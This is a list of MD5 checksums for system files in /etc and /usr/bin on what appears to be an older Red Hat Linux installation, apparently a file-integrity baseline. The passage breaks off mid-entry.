+2d88cfc6fe8ace728bd4e92a538407cd /etc/makedev.d/generic +c0e950831d061525f099e24f2bbacff1 /etc/makedev.d/ia64 +a9471ac5ae7ea0c6e7638396a2d1b5bd /etc/makedev.d/ibcs +49a10bbde09a3e270d1c4c9048947a86 /etc/makedev.d/ida +8724095ded5f64ecef506c120adcbdd3 /etc/makedev.d/ide +641022fd47f5e896c615da7679e46041 /etc/makedev.d/ipfilter +d27494a27a8d243bfff246dd19c4b719 /etc/makedev.d/isdn +3e03b7c5fd45cd12f1c39ddc7f6376de /etc/makedev.d/linux-2.4.x +ccd0483e6e420a3549fa84bddc32a385 /etc/makedev.d/mouse +9b049e5366b611c7a1f59684159ee6f4 /etc/makedev.d/qic +8859f10df38f810dd99ca7644b9d9f6d /etc/makedev.d/raid +4e83f7eb448b6b350187f881ab2bb052 /etc/makedev.d/redhat +775ef99439e7d76075623cdc53d61333 /etc/makedev.d/sound +babdcda2f7ad1c9e31f171b327cd1dee /etc/makedev.d/std +997120d62f72c5af882f5730bce5947c /etc/makedev.d/usb +bd578e86657b13fb6b4dd2e8eaf78d7e /etc/makedev.d/v4l +6311e58342a1964df3b18b9e9fe2171a /etc/dhcpc/dhcpcd-eth0.cache +ded7cc6f9ffd9dbb168f12e634dd1e2a /etc/dhcpc/dhcpcd-eth0.info +de424c9bd914347076ab03463e0fdb8d /etc/rpm/macros.cdb +8f09de96f84a4f17b95eefd0035b7d31 /etc/info-dir +783fd8fc5250c439914e88d490090ae1 /etc/DIR_COLORS +68b329da9893e34099c7d8ad5cb9c940 /etc/at.deny +2c6578efc0cc2bcfe0aa32cf1fc8dc6d /etc/man.config +3301303e6be5b9630314869fcbc4a2dc /etc/issue.net +89d8f4d125ed0a2f41555530abad14c4 /etc/issue +d41d8cd98f00b204e9800998ecf8427e /etc/.pwd.lock +3995789bc4513006d1a576712ae7a320 /etc/ppp/ip-down.ipv6to4 +55fdfa301962563df925c402b9754440 /etc/ppp/ip-down +a08b2add8c12a1df18661d70931481e2 /etc/ppp/ip-up.ipv6to4 +928adee0a639648bfd1d57090ffb992e /etc/ppp/ip-up +28cd43d007bbde9b3659277137c9c2ba /etc/redhat-release +bc43f1a6c6ee7ce9e0763699a2165ee0 /etc/group- +9db1011da07de738c03691b1a0f349ae /etc/pam.d/system-auth +66271e229a0e8d6c4c0fdf9492f0d670 /etc/pam.d/other +f954c88df21039d203815669580fda45 /etc/pam.d/passwd +184cd1b72e61eda26acd66ca6456802c /etc/pam.d/su +231350d30c3d5ae9a743d21411cc6ef3 /etc/pam.d/smtp +42ad96d9e1fab7442e60d2968ff76976 /etc/pam.d/chfn +42ad96d9e1fab7442e60d2968ff76976 /etc/pam.d/chsh +6246d5c275867f996c23080dff2ee4a6 /etc/pam.d/kbdrate +8f9ba0bd23428b4dab89f2bfa3a985ed /etc/pam.d/login +cb0a8ca13068f42b44cbec3c87045f13 /etc/pam.d/sshd +849aa086002eda305d4d6d59a94fadd8 /etc/pam.d/rexec +ec3d6de902670c90897507f4a098f668 /etc/pam.d/rlogin +7b9d8d0930734500608538c166d0179a /etc/pam.d/rsh +4d0d8bc6b2be7122d1bd86adfaa321c6 /etc/pam.d/samba +d21605aa0ba32b6b85569d18481e83b0 /etc/pam.d/ftp +5d34f6fe8a687015fb5212a83919b107 /etc/security/console.apps/kbdrate +8dc6faa0ca638e8775cfe018506978ee /etc/security/access.conf +9072e3c9ad8285ec880b84aa2726ad68 /etc/security/console.perms +e3433c0bc05bca47b928b314af7843e1 /etc/security/group.conf +95761e69c25c20a27cde4270535bd0ff /etc/security/limits.conf +715c577451217b8672f79fde2d978aae /etc/security/pam_env.conf +c999796c5e8ea0af924d00e8bf3cbfa4 /etc/security/time.conf +2132d4bc1fa63e44cd92fb0ae40cdc8d /etc/updatedb.conf +657bc4f88faa4dec9a1dfb8a090b11ce /etc/syslog.conf +7ca71e069a623579e05e9a93f62676b3 /etc/openldap/ldapfilter.conf +115e92c378b9d3a97fbfdee207208366 /etc/openldap/ldap.conf +42fdf067617d7e5ad0df18f67a66cbd9 /etc/openldap/ldapsearchprefs.conf +b97ef7a3a95d9cf574bbe75fc59af9f3 /etc/openldap/ldaptemplates.conf +e666fe97048617bb2246ce8d5beca773 /etc/passwd- +f7d7de63d6135a700874878a9cecf432 /etc/gpm-root.conf +dadfda18e379d21c5f7a7d3e1e43235c /etc/krb5.conf +85876369d861c2e080c9730ff1e51c1b /etc/sendmail.cf +70aba16e0d529c3db01a20207fd66b1f /etc/aliases +faed25cd4bd35e58bffd741e42ce367b /etc/aliases.db +238807dba7ce8f0a15ab0d210f08069f /etc/initlog.conf +4803b1f8b745c36f4b1eb4b233322ea0 /etc/fdprm +7fe8a1bd6b0f5c163b4460201d3eaf17 /etc/adjtime +857912afc57242d648b4a600d471f927 /etc/inittab +011f6a554cb27721f61811d454e6f357 /etc/warnquota.conf +6d7248b10274fdf28e81117b922fa23e /etc/sysctl.conf +edf25855f7763c3ae4bf019c09bcc96b /etc/cron.d/sysstat +9ad74d5c4151b5950ee428933e11d35c /etc/ssh/ssh_config +4e531cb7445340abf422783f6c3b4c09 /etc/ssh/primes +6bf3a478499caa0fa0ef72955d043606 /etc/ssh/ssh_host_key +21dbad47e94c0fac096fa3f8b9a70628 /etc/ssh/sshd_config +1238f2e3dc2f5e598a68e5c630c9dd62 /etc/ssh/ssh_host_key.pub +50bb0cd7ed742a1ef7cda58d9ae92327 /etc/ssh/ssh_host_rsa_key +995544fe9c6326ec7c0e2a5f45b92e2d /etc/ssh/ssh_host_rsa_key.pub +121f094008f39c8db22a5b7f97a134ae /etc/ssh/ssh_host_dsa_key +bbf52cfcc63aa27db21d5ae5f4eb455f /etc/ssh/ssh_host_dsa_key.pub +e6399a7098806699781f69b0bd40f56f /etc/wgetrc +3e5bb9f9e8616bd8a5a4d7247f4d858e /etc/anacrontab +73fbde4b7f646d368c87128c156dc502 /etc/xinetd.conf +e7c5f5cf5ab6da81c6449900ac2b3f75 /etc/samba/smb.conf +0eea71665fb6890c06421fd13aa3f849 /etc/samba/lmhosts +152bdbbede72a01d29f301dc10e64f55 /etc/samba/secrets.tdb +a6a6c093b522c2c232f7ee27e83db0ed /etc/samba/smbusers +07eae6a26944794cdca62e60ad6989c9 /etc/samba/MACHINE.SID +6e0c1597bafe50ba3d45a0c5e50dd9f4 /etc/identd.conf +f48a530b1cb33da1f56c97e4c04164e2 /etc/ftpconversions +b0179ca30acbcd34b0d607ab23b9b584 /etc/ftpaccess +b21689366a43829d83728b023b6d04b8 /etc/httpd/conf/ssl.crl/Makefile.crl +5cfc0c5e40cc02c415b7bd1c6f325eec /etc/httpd/conf/access.conf +0d9674391738f12a13096f7fd3418693 /etc/httpd/conf/httpd.conf +efa83b2a56fd085be42650a5c932d6a2 /etc/httpd/conf/magic +b0366af9aad99e0f7515bbdc255e9a23 /etc/httpd/conf/srm.conf +3c392576b27d8f79ab92eb39fce681f3 /etc/httpd/conf/ssl.crt/snakeoil-ca-dsa.crt +0de94cb2a39ed0fc158edd053b425255 /etc/httpd/conf/ssl.crt/Makefile.crt +9bd1d1069c69fafed5a86ea931ae45f9 /etc/httpd/conf/ssl.crt/ca-bundle.crt +920345f8fadcadf3b99d4bc376b0d450 /etc/httpd/conf/ssl.crt/server.crt +e76c1653eb00e4c2168a9c590fcf4ed7 /etc/httpd/conf/ssl.crt/snakeoil-ca-rsa.crt +d1701e1c69a9867943ad61432f1f44b1 /etc/httpd/conf/ssl.crt/snakeoil-dsa.crt +6c7a7d92f67c8dbd6ca57a30da7bc3bb /etc/httpd/conf/ssl.crt/snakeoil-rsa.crt +6cb514d4dcda8a7d01e5ac09f7acede4 /etc/httpd/conf/ssl.key/server.key +05cc51fdcc3c8ef6ed6a777f460e675a /etc/httpd/conf/ssl.key/snakeoil-ca-dsa.key +a55527f1b3ad826052b8f6395d0da3e4 /etc/httpd/conf/ssl.key/snakeoil-ca-rsa.key +bc6e0ae4c628088f78e22c7287647b0a /etc/httpd/conf/ssl.key/snakeoil-dsa.key +ec09a963da45ee792d5eb284568894da /etc/httpd/conf/ssl.key/snakeoil-rsa.key +3c9bf8ebd0586ce0633e7c6a85ed345a /etc/httpd/conf/ssl.prm/snakeoil-ca-dsa.prm +3c9bf8ebd0586ce0633e7c6a85ed345a /etc/httpd/conf/ssl.prm/snakeoil-dsa.prm +da7c0fc76b3a36b4a245f07b61e6862b /etc/ftpgroups +d2a1cfa25e86cfb4d4c703a79241e2f3 /etc/ftphosts +8697a82c772146567b4a0ee7a633f216 /etc/ftpusers +c64dfecaa4ed5938f2d0497890f847b2 /etc/modules.conf~ +17152ecdd5812cec79160a4b70bbe805 /etc/hosts +f45076fa5661ca80f96021d107e58c37 /etc/resolv.conf +0b07640edc3d4516910357eb2654decc /etc/krb.conf +d56fb5c6d3b99b393e6b669bf18e39aa /etc/ldap.conf +d41d8cd98f00b204e9800998ecf8427e /etc/yp.conf +2228e977ebea8966e27929f43e39cb67 /etc/pam_smb.conf +a7282dff258d7b7e49381066ab1c8f5c /etc/shadow- +e44fa907e65279237d7f1f21aabe36fc /etc/ioctl.save +4bb4d2278fc53d10b5afb3fdf7827170 /etc/shadow +d3ab5a6a97dc155317e69ae79c802edc /etc/gshadow +10cbf3da45a50d79fd463ca8bd52d854 /etc/lilo.conf.anaconda +97a897a1c1a2efdba80023808287bb51 /etc/identd.key +d41d8cd98f00b204e9800998ecf8427e /etc/fstab.REVOKE +edd4e50301c667c4d5dee800d7ab68a9 /usr/bin/memusagestat +12354be3c40d99aadb31a334d6c2235f /usr/bin/catchsegv +5f8390bcdae5367af8f05e7f3ef2e393 /usr/bin/gencat +d3ca8e14f43ad5fee364ceeb86a890d2 /usr/bin/getconf +c5678c972fd97e810edd2796f0f95bef /usr/bin/getent +eebae8955837f997e575d957a276cc88 /usr/bin/glibcbug +a34c80331f67ad2e53c39feb3789a143 /usr/bin/iconv +484a3055ec9593faa63d0c71563ba99f /usr/bin/ldd +7dd612dcea12f3725dfa7e322b43d75e /usr/bin/lddlibc4 +9c31ba91682eec47f3b1bab027f1176c /usr/bin/locale +94e003ba6385d4739513feee8163883e /usr/bin/localedef +6c6c0494863b8cfc0c38129dab9ce725 /usr/bin/memusage +ce8bfd330594e7b46c9ff82a06398ce1 /usr/bin/pcprofiledump +a1a74b9b69583b469543910b3e0520ea /usr/bin/mtrace +9a6365180ed271954103a172c0d3684d /usr/bin/tzselect +d92742da6cde9b0837d97845ece968e8 /usr/bin/rpcgen +49a4db2d789f893a424d0552efe3a6ba /usr/bin/sprof +2d9d1f535268dd476bcb67b15d4567d9 /usr/bin/db1_dump185 +eebb2ef5ab2cf701e45252c4fab06228 /usr/bin/xtrace +1ca126659784ee7bd17dc50103501108 /usr/bin/ksymoops +bd00304b4ea8cc9da9006df4262836c5 /usr/bin/chattr +8014cb2ce4653a7f60cbc3fced86ab12 /usr/bin/lsattr +8079b966fc42d36ad962a57f1df6add1 /usr/bin/uuidgen +312178258487d3a2a6d9c5fad6c2d498 /usr/bin/eject +10fa2d7d82c5ce9fe48f344ee6bf4c6f /usr/bin/file +bb5eeb24d5fca5658ebcde503a16efdf /usr/bin/pcregrep +3f2e271b08f18894bae83a97dfa94d23 /usr/bin/dprofpp +cda3f2c78d341afb73c3f02a1a198d60 /usr/bin/a2p +4c982a7c21cfad757938937c20627832 /usr/bin/bzip2recover +580cb30a0ea7054da563135c9692fc61 /usr/bin/find2perl +16714e07a472b63f493f640b57784c59 /usr/bin/h2ph +540e864c0e8db98e475487a5f928626e /usr/bin/h2xs +f9f254c442fe6d6a31cdf64c74426950 /usr/bin/perlbug +98a55c6a74e71cc7ff4ae58bff0b1e0d /usr/bin/perlcc +f0779d75eee4deee5afb9147ec1037ad /usr/bin/perldoc +b2b40c78a95f685adc6836c5f11b35ea /usr/bin/pl2pm +11adc3c1f5f18d461b03ee338cf35555 /usr/bin/pod2html +3d3afa04e894520075c14368914be98b /usr/bin/pod2latex +d217c80d61f96dc3a194976581d09c38 /usr/bin/pod2man +a62762e53415c3d75341394a4e07df42 /usr/bin/pod2text +913bf4240179464ae678197d6ec7cbb0 /usr/bin/pod2usage +0cfad318bb6b0daa51d2621cc535fdfa /usr/bin/podchecker +33f8d32deeaa1c7bf3b190f488082384 /usr/bin/podselect +2c051bbde5646730dac1cd7ef09b7246 /usr/bin/s2p +587c01aaa88806f9e4500a6155304e06 /usr/bin/splain +f046c15fd146b739f490023c8c9377f2 /usr/bin/suidperl +c2866f2baea9b48a02cda6635602d111 /usr/bin/perl +f046c15fd146b739f490023c8c9377f2 /usr/bin/sperl5.6.0 +c2866f2baea9b48a02cda6635602d111 /usr/bin/perl5.6.0 +81d7c252c43d5ac76b786a2465f98838 /usr/bin/pstruct +81d7c252c43d5ac76b786a2465f98838 /usr/bin/c2ph +e4049b9fff52b08354e88587f118faae /usr/bin/chage +dd316d9cc339c519a23c2e77a117da07 /usr/bin/faillog +d9a96734d97159daf513e25be43f6cc4 /usr/bin/gpasswd +388b21d76f41ed028c2d39e6a40902ad /usr/bin/lastlog +f1bd4a70d3370640bf98783b34ce3e94 /usr/bin/whiptail +23d85aa4c40fb5a88c3987e08a9665c3 /usr/bin/syslinux +8e086310bece4f00ab6a2df85c45a7cb /usr/bin/bashbug +5a68d7a44f34ab9bf7ec603a6271a639 /usr/bin/bzgrep +0c98ca8c2391b56ca402d50198e0abde /usr/bin/bzip2 +b34bd758b4b9d18e23a0b2539abd8fce /usr/bin/post-grohtml +6d640da0c2cfb3f9fea40a50146b6a4f /usr/bin/run-parts +7ec56e68908b784d440021c76fd6afe4 /usr/bin/addftinfo +e52d0f96585a0fa0564526941c190636 /usr/bin/eqn +39c27d9f376809f2633cbabc6bdacef0 /usr/bin/grn +f9392ba7480820371fe8dd3ebeeb4f7d /usr/bin/grodvi +bd2a44256c101f7199627d393997786c /usr/bin/groff +0a5b432580feb228776ea1d4cc368ece /usr/bin/grolbp +6a5accbc5570ac24fdf88fb025fc895c /usr/bin/grolj4 +9e68a93f7bbb1bf4d4c1de0fbbd14b36 /usr/bin/grops +d0149c7b7d58e50f9cea276ee3b20037 /usr/bin/grotty +940708eb74c0fc44369f3a2c730bb192 /usr/bin/hpftodit +538d2a64711535c32df8f49315b35387 /usr/bin/indxbib +17996092a3dd056888b5aad58d4fe096 /usr/bin/lkbib +6190d96454faac76a75c29325f2cfbcf /usr/bin/lookbib +7661c016a0287115edbc6db593d00b3b /usr/bin/neqn +8b18dfacad3374a55cef6532e52fdea5 /usr/bin/nroff +f0deb495f9510c0f87aefd0ce60d0ec7 /usr/bin/pfbtops +6521ded532867717576eb48cb5a4cc1a /usr/bin/pic +2bebbeaeef2c1e90dc8f5efc48337309 /usr/bin/pre-grohtml +a41a9f71c00e43e4677f48946a62e398 /usr/bin/refer +ab062e00d370090b913e7026b71c086f /usr/bin/soelim +ab754f8dbccdfe6e956939f84b8d734b /usr/bin/tbl +1306c5bc66c04197798a4b99f20f4e86 /usr/bin/tfmtodit +8d000c62f11469a08f320cbe1fcf6947 /usr/bin/troff +bbe07a9b514bc21737f8b5334b6b147d /usr/bin/clear +7d5e587a3b871cc17d27bd63c39108f1 /usr/bin/infocmp +37b879cb115edd118208af55b47bec5a /usr/bin/resetall +a6a7ff96183e1cbe0ad38f9deffacfff /usr/bin/tack +138eab03980e27b24e9a7d3ddd624d45 /usr/bin/tic +765b816a0fc2becbb60cab5c5e72149f /usr/bin/toe +905fecc539e81192efd2b7f29e1421fd /usr/bin/tput +964d59f424f0e49ad9f3a2dbcb28c09a /usr/bin/tset +4de595b06d48cfda5e56fb8a2a1438ee /usr/bin/info +403b6a9da632bc50dd1cce608781010f /usr/bin/cmp +433e8756e9b9ff41a435f1ab982a8f27 /usr/bin/diff +6fa5de839cce3fa4364e698e0000fc5a /usr/bin/diff3 +f302fc773397de658c1b1ef19e291d91 /usr/bin/sdiff +231b435b8c5d539f55e95901ff67e053 /usr/bin/dir +8e2f1847e95c6b3020f430fb2b8cb430 /usr/bin/dircolors +4d73a12d9b5eeadd7653effebbfd05df /usr/bin/du +bd18a5beb9f4cda9a88dd06bf4896c50 /usr/bin/install +cb8ebcabbaf7abce417b0a9a661d7724 /usr/bin/mkfifo +28c0410abdc5f8f72665e96555468f12 /usr/bin/shred +86fad531f0cff23a1bf34650888ce339 /usr/bin/vdir +ce4193f06fde12ccfa46f11d4e413ae6 /usr/bin/at +77baf987b4d099da203c393e11d0e48d /usr/bin/batch +b1a74e8e3af8b40b9199dec3a74916ac /usr/bin/find +ef62b17551d10f0040339f2edf4d26f6 /usr/bin/xargs +0a58ddc9f132b5148149be56e4bd0447 /usr/bin/mbchk +9e560cb468a1188d5cc395fcd9e89e63 /usr/bin/gzexe +626e12e049542b441bf071ce3b691078 /usr/bin/zforce +488cf8a7040d5e10cc5b83de0cad3dfa /usr/bin/zless +dcbb94fea88947713fce381ef236c152 /usr/bin/zmore +5172f2ee70cfc640be6ce41740736d2b /usr/bin/znew +e881be4ec764340b56ecad05adeba502 /usr/bin/zfgrep +e881be4ec764340b56ecad05adeba502 /usr/bin/zgrep +ff6856fdeba2698ebea5fc314c6be579 /usr/bin/zcmp +e881be4ec764340b56ecad05adeba502 /usr/bin/zegrep +ff6856fdeba2698ebea5fc314c6be579 /usr/bin/zdiff +c6d4263483aa0e46e7a7d0b24efee72a /usr/bin/less +720667640a617ea806fd755db99cb92c /usr/bin/lessecho +a2959c8f5d1e8a4811b05d81f78cf22b /usr/bin/lesskey +774c40573eed56bef2e6d65bc692ff60 /usr/bin/lesspipe.sh +6af0a7de47ad52baf8f4a32d9a2e372e /usr/bin/apropos +945f24c47f5f29f11424c17cbef94395 /usr/bin/man +cf2dceb7c22d1534f653a14ce04f0eec /usr/bin/man2html +762f0f7cc21bceb113c7420cd1c92210 /usr/bin/whatis +0ddc5927b5d99c69a1378bbc0a2afc33 /usr/bin/openssl +29907f753c41b60b78bfaf1ff6f69e9e /usr/bin/formail +6a2bec67dfed8a49fb53ca9960b0e882 /usr/bin/lockfile +71c53f5c0c0529f82b5a4a01a77feddc /usr/bin/mailstat +e0b6363a60c90a18f2d987ef7952e002 /usr/bin/procmail +23d30f8de2a3e348a03cb2b952e35b54 /usr/bin/free +67f7042a4fae7b0958122a3937110c5d /usr/bin/oldps +332d6783be7d2c1cdbc7622114df9cbb /usr/bin/tload +6091c2a0a9231844d1ee9d43f29e6767 /usr/bin/top +8004de216620f81be02c3e3529358d46 /usr/bin/uptime +654380689c9c17d36044084d28c135e3 /usr/bin/vmstat +508aa7f49c99a5b77d0be21a979fb9ed /usr/bin/w +67c268ba3e2d5b766f8a43288e3ac21e /usr/bin/watch +31c9bd976230f2b3d18d94bead60a388 /usr/bin/snice +31c9bd976230f2b3d18d94bead60a388 /usr/bin/skill +2ee6aa4da2b6dc56a58d97f199e5fe60 /usr/bin/pkill +2ee6aa4da2b6dc56a58d97f199e5fe60 /usr/bin/pgrep +f78220b2ab0f4fb709295f849ba83332 /usr/bin/killall +cf20584fd78bbd683bf9e165e8e8c605 /usr/bin/pstree +27245e6e997b7ffa8bd2e7786c625675 /usr/bin/charset +44529bfa93ec8c1a8bee06d49e85fc46 /usr/bin/chvt +f1a14bef658f2c14f15f468bff7307a3 /usr/bin/codepage +b03fd74c0a542ffad47b99be54849515 /usr/bin/fix_bs_and_del +84b89aebd6fef95c1873b7c06624f664 /usr/bin/deallocvt +f3ed0e54e31f2969821f1865b114257d /usr/bin/dumpkeys +74ba216ccb9f1144e1954a8aa776c18d /usr/bin/fgconsole +37287019569380b29614e82c895a65a0 /usr/bin/psfstriptable +8b144102eeff02356543c2809a77efc0 /usr/bin/getkeycodes +c5ae1b0461ac54bfdbb637d6f6e5c18d /usr/bin/kbd_mode +987643922e90cb202a04fc3da11c2629 /usr/bin/loadunimap +c875bb910aaeb98e30ba89a187f1dd04 /usr/bin/mapscrn +23e5d261fe6fe1740c2a653f7e4e1fcd /usr/bin/mk_modmap +0012879d5dc460592ff939bfc1d2b1c5 /usr/bin/openvt +4a9c6dd0f7d603af6430c5a7441294bd /usr/bin/psfaddtable +a06aabfd4395e556c44ac9df26e30763 /usr/bin/psfgettable +73440b1d0c0aa50380759c62888f66f5 /usr/bin/setvesablank +b40c630d4378bfb2ffac26ec8c09405d /usr/bin/resizecons +db60b8ea552707965600d41797797e62 /usr/bin/saveunimap +cffcd510e4d97749ad1346335593dfb6 /usr/bin/screendump +068692ab69d5be907f27df1f18e4b35d /usr/bin/setfont +93420e0332749988992313415e2ea343 /usr/bin/setkeycodes +ff9c7eced8df789bdc43763e29ae9107 /usr/bin/setleds +0b9d332c8168101bc5460d5c1df389d1 /usr/bin/setmetamode +7e315789e8c624aa9bdf5a8316a2a62a /usr/bin/unicode_start +df93f0d6261ff23325adc783cea813de /usr/bin/showcfont +b1699683834c502747914e3bf437b292 /usr/bin/showkey +f143a4911db591fe716b54a5e6f5a3ce /usr/bin/expand +5b3f1aa2cd0385c7d65c6b174a7de376 /usr/bin/unicode_stop +6aa0ba6ca22b4ac736eb3b95d16c858b /usr/bin/vcstime +7c161db44fd8d646de9cbda53bdbefbc /usr/bin/vt-is-UTF8 +bdb28171c34b8cff448af8f82b8b803e /usr/bin/writevt +4de85260e08fd5e1f8e27a0139e591ff /usr/bin/slocate +1fc1889eb5e98217844596f86451ea79 /usr/bin/cksum +9336c6aa08db5514dd992c4d2075ce4f /usr/bin/comm +5cb9405c9d54d7db5f53c35942e24ae9 /usr/bin/csplit +a6d5650c0eff87b795244c507cbe8420 /usr/bin/fold +50c8d393604d18cf2b1a2e822d03611f /usr/bin/fmt +c20b85d7efdaac5cbf153980d9e269eb /usr/bin/unexpand +8de406987524fac673e375ade9005510 /usr/bin/head +f623f927e820c345af13691160598d54 /usr/bin/join +5407bf0bd69bf1ee935af50a4a2673bd /usr/bin/md5sum +76b92c2d538c6c4e25b513ab1c2aa417 /usr/bin/nl +34fc4d01533d24d98d35e3b8e5b89126 /usr/bin/od +600c4986220a8a38b57a83c1d940e912 /usr/bin/paste +7842f777916cf15f795e0818e59dd3c3 /usr/bin/pr +165118297f9573dfb9461fb3c284d6a9 /usr/bin/ptx +a41ad82e3aeef0de112718a90cd3543b /usr/bin/sha1sum +30b9e47f0fe88ff37f54d76cc526bce8 /usr/bin/split +943b94a2c49cc001a015a91d9a3e2810 /usr/bin/sum +a8548e750ecf367e3435a435c6623fd6 /usr/bin/tac +c54787529bb2a3db10d9bee42e5cb88f /usr/bin/tail +b7c2dcc19e946a7621f0c349eca60ca9 /usr/bin/tr +e858e4c4875ee6a5f54012040130bde2 /usr/bin/tsort +bebe63fafac3c28dc410ba25adb2b8bc /usr/bin/keytab-lilo +94da4d3d5d9799b6bcaef12c98c36d23 /usr/bin/uniq +a9293fe88015b6f93ee830f5ffa257d6 /usr/bin/wc +d26449348cdc2bdcb8f6769d090b5938 /usr/bin/vimtutor +b55bf80f7fcc59d989bfa32aa7fe2d7b /usr/bin/time +7100e6baf46ee96a6e83b6bc6c446ef6 /usr/bin/which +317e7376135833e2b3369d943b50ae77 /usr/bin/xxd +5c9391bc194e99694945519542a6ef0e /usr/bin/pspell-config +16147264e1c6da967ae7dbf7f6292b8d /usr/bin/gpm-root +35c04ae1457175e66c9f75130b66d2c1 /usr/bin/hltest +fc1f5b2de915527b9b9d05d135622a05 /usr/bin/mev +af17c55ca4ebf31a9efe9f557aad3655 /usr/bin/passwd +c9d8bf6af8f37f2f896ba18eff4703c6 /usr/bin/dirname +6aa3f88d0cef02c4ddc3a303468b09b5 /usr/bin/env +6802e1c6014051fcc42734a6cdd32243 /usr/bin/expr +52885cc62cc2c845d769023a4019e865 /usr/bin/factor +7589d4538ddd01f3f66d6ff05f89c174 /usr/bin/id +a8b8b2366c79ff26a8fad0a4148eea61 /usr/bin/groups +ffd126deb767cdfec68d7ade33276e4e /usr/bin/hostid +5aa5bae03bb11720eab89f52ccc49755 /usr/bin/logname +c61ea02384e84cd0b1b9607961a48492 /usr/bin/nohup +d9f73e03ff9cbaa86a4568aea9f25fac /usr/bin/pathchk +d6e264bd88d113bb92b2c58b3978a37e /usr/bin/pinky +1f2367a7f783a0bed68ef75f9385803b /usr/bin/printenv +cf14fbe284c2ad0be29b7e662f9c1772 /usr/bin/printf +c6d38955f929becc71b8b7674b8fe989 /usr/bin/seq +f56eb4e0c9b8f6840ca3a962f7e748da /usr/bin/tee +22882e3b02dc697034c4a5193aea2726 /usr/bin/test +85956015eb338fc2c174aa6086c68cd6 /usr/bin/tty +7834de99aacbd549325273fc58abc44c /usr/bin/users +c1c196b84a9d4b0c8b07fb8693868430 /usr/bin/who +d8410037185a2baa735bdac792be73ef /usr/bin/whoami +76bbbbcab3c188f7689b10526d2a3404 /usr/bin/yes +1980dfbf66e0d182ec90310f277dc1cd /usr/bin/rmail +242166dfa0b3158f33953e679d73923a /usr/bin/last +9564ec26361355050bab891555b0e9cf /usr/bin/mesg +16ea5e89d0e556d0ccb5caa7143a2541 /usr/bin/utmpdump +553532912043f3e7296776595c7f6d61 /usr/bin/wall +a84b0b9ce5abc4a0fa711b6c49ec4720 /usr/bin/gendiff +6bc74304e70bc52e1d71a1ebc9d63526 /usr/bin/rpm2cpio +d5a5b19c45f171d7fdab94ae77cf93f5 /usr/bin/cal +acd74ae234e8e75778db02e1814ecb61 /usr/bin/chfn +adfbba329e92a045a904bc6a1e69f58e /usr/bin/chsh +7b5604a487cdaa7428b03592ae306405 /usr/bin/col +4ebd65dd1d2917ad75665d3d749f09bb /usr/bin/colcrt +ffaa76b4a6b3d92a7808410b4105751c /usr/bin/colrm +e5a25068ac1f4919e8af54c1dccb0097 /usr/bin/column +3f0d3c041125c6349ec1b78a7b0bce9d /usr/bin/cytune +e704669707c3cf81cdf2c08bf4993af7 /usr/bin/ddate +ebd9467682530a4704352c67b782a804 /usr/bin/fdformat +eb3189d8a29f7b28ecc00eebd388b06f /usr/bin/getopt +90a4917c04f3ae1cf0be02a553874e71 /usr/bin/hexdump +a155b73b026063d50494d55b543a1904 /usr/bin/ipcrm +4230c49d8530cd5c51910ed6ccc4ee4a /usr/bin/ipcs +d0d6ed062e5077f1a6bfcb5c50c822ed /usr/bin/logger +df5262629a8ddb885f6225216a2d00fb /usr/bin/look +1457c0b9616b050cb34a84b88f85ddb1 /usr/bin/mcookie +6d167f08fdb64071aa49c00105476d47 /usr/bin/mkcramfs +ce0a645e8dcb8f9e73243ab21bc588b1 /usr/bin/namei +deac85d67dd51eaf6e37601ce0f7a1ee /usr/bin/newgrp +8bde140dd71c2cc413384fc5851815c6 /usr/bin/raw +086df585a68fdbb585108a399cdb81af /usr/bin/rename +c2db7dc3d98041df8b6e921ba72ca3e7 /usr/bin/renice +ce9fabb85bc2c4307fd85bf7e7e3642e /usr/bin/rev +ca55c531adb27c636e085155fe3c8db7 /usr/bin/script +ce37cb3810f1ca5984e53f4aa9164fef /usr/bin/setfdprm +e73c50a601591cc66d5e0464e611d7b4 /usr/bin/setsid +dcc43ff40255b4779d065dde9b498627 /usr/bin/setterm +893593684b5a5d57e60ff0070cd74c32 /usr/bin/ul +e9a872435de8771f8da89a27652226d4 /usr/bin/whereis +5baf0b9c872ee875e3487249b4ba0cd7 /usr/bin/write +da668f2d86bf413ba3b61af3ef829ac9 /usr/bin/apm +9e1ebbf59c489e4423ca1f414edef7ea /usr/bin/apmsleep +f73b6bab7f670c75510cf0652b2e3b82 /usr/bin/on_ac_power +b69626322494a9d23bccd9884236c632 /usr/bin/tailf +329c3d308951ce2814ecf4842a376e13 /usr/bin/quota +89b2897044a8b96243af1ca37e5c0b29 /usr/bin/crontab +e54efdf42debd0f8274ba31da8bef68a /usr/bin/zipcloak +ba9aff440f582b2ad3f4542f64f20205 /usr/bin/make +1ba767a260f75b5510057c52a2f514fe /usr/bin/zip +7a1800ce2070fe451c43d56cc4fba183 /usr/bin/zipsplit +7799f52c291bf2476758da4d07f276e7 /usr/bin/zipnote +e2807bc2b548c49c231fbb5da57a0dfa /usr/bin/host +ed2f1c15ce2e75929884906042691e8a /usr/bin/dig +fb23696c517f282a58b981de32adedb3 /usr/bin/ncftpbookmarks +4f8bc1506846023bc1ae6a092926a834 /usr/bin/nslookup +e70b0e710214f425ef1a310c2897e81e /usr/bin/nsupdate +f345e884176b9b68e62011a9e9d35c06 /usr/bin/finger +7bc74030f29b95c5d4f763b778fef369 /usr/bin/ftp +4dcf08af9a44075548be444207c1db84 /usr/bin/gpg +149832a8495f72694028a749d784dd46 /usr/bin/gpgv +ee33e248b5fe95e1681b4cca1edc9233 /usr/bin/lspgpot +d377fbd3c3502572101ff599e4fa59ec /usr/bin/ncftp +e2e91e646410d58add6c80805ebb1477 /usr/bin/ncftpbatch +1955c616bf38491994045449411b9751 /usr/bin/make_printerdef +07d5d27d7e5a2ff3ae389d8a29d465f2 /usr/bin/ncftpget +d3b542f3293f8a52227c1e545d46cc75 /usr/bin/ncftpls +2887839e1d9f4f23a8b646fcde303d03 /usr/bin/ncftpput +b7b347b8db6e33f85dd18b74491d1cde /usr/bin/nmap +d19caaba364316a50321c66af0b2eb66 /usr/bin/scp +65d451de07f6b3ee3a5e3113a921256f /usr/bin/ssh-keygen +769e52f0b1abaa193396885fb7677906 /usr/bin/sftp +8ece8f1d59f290dad2835104fd5b5671 /usr/bin/ssh +4b1c23a3664ac5fac6adfac2d9d4589b /usr/bin/ssh-add +b119f03c4bf2b4f8d2ed1328802811f0 /usr/bin/ssh-agent +fd729be240f08f7c4994411dc5e0b524 /usr/bin/ssh-keyscan +b0ad395f473f023f394731f1b5b9719d /usr/bin/rcp +4e0497c8edad0c148a2f5dc956024f84 /usr/bin/rexec +fd1aaddda43bc5dcc8d8e3716b4e1667 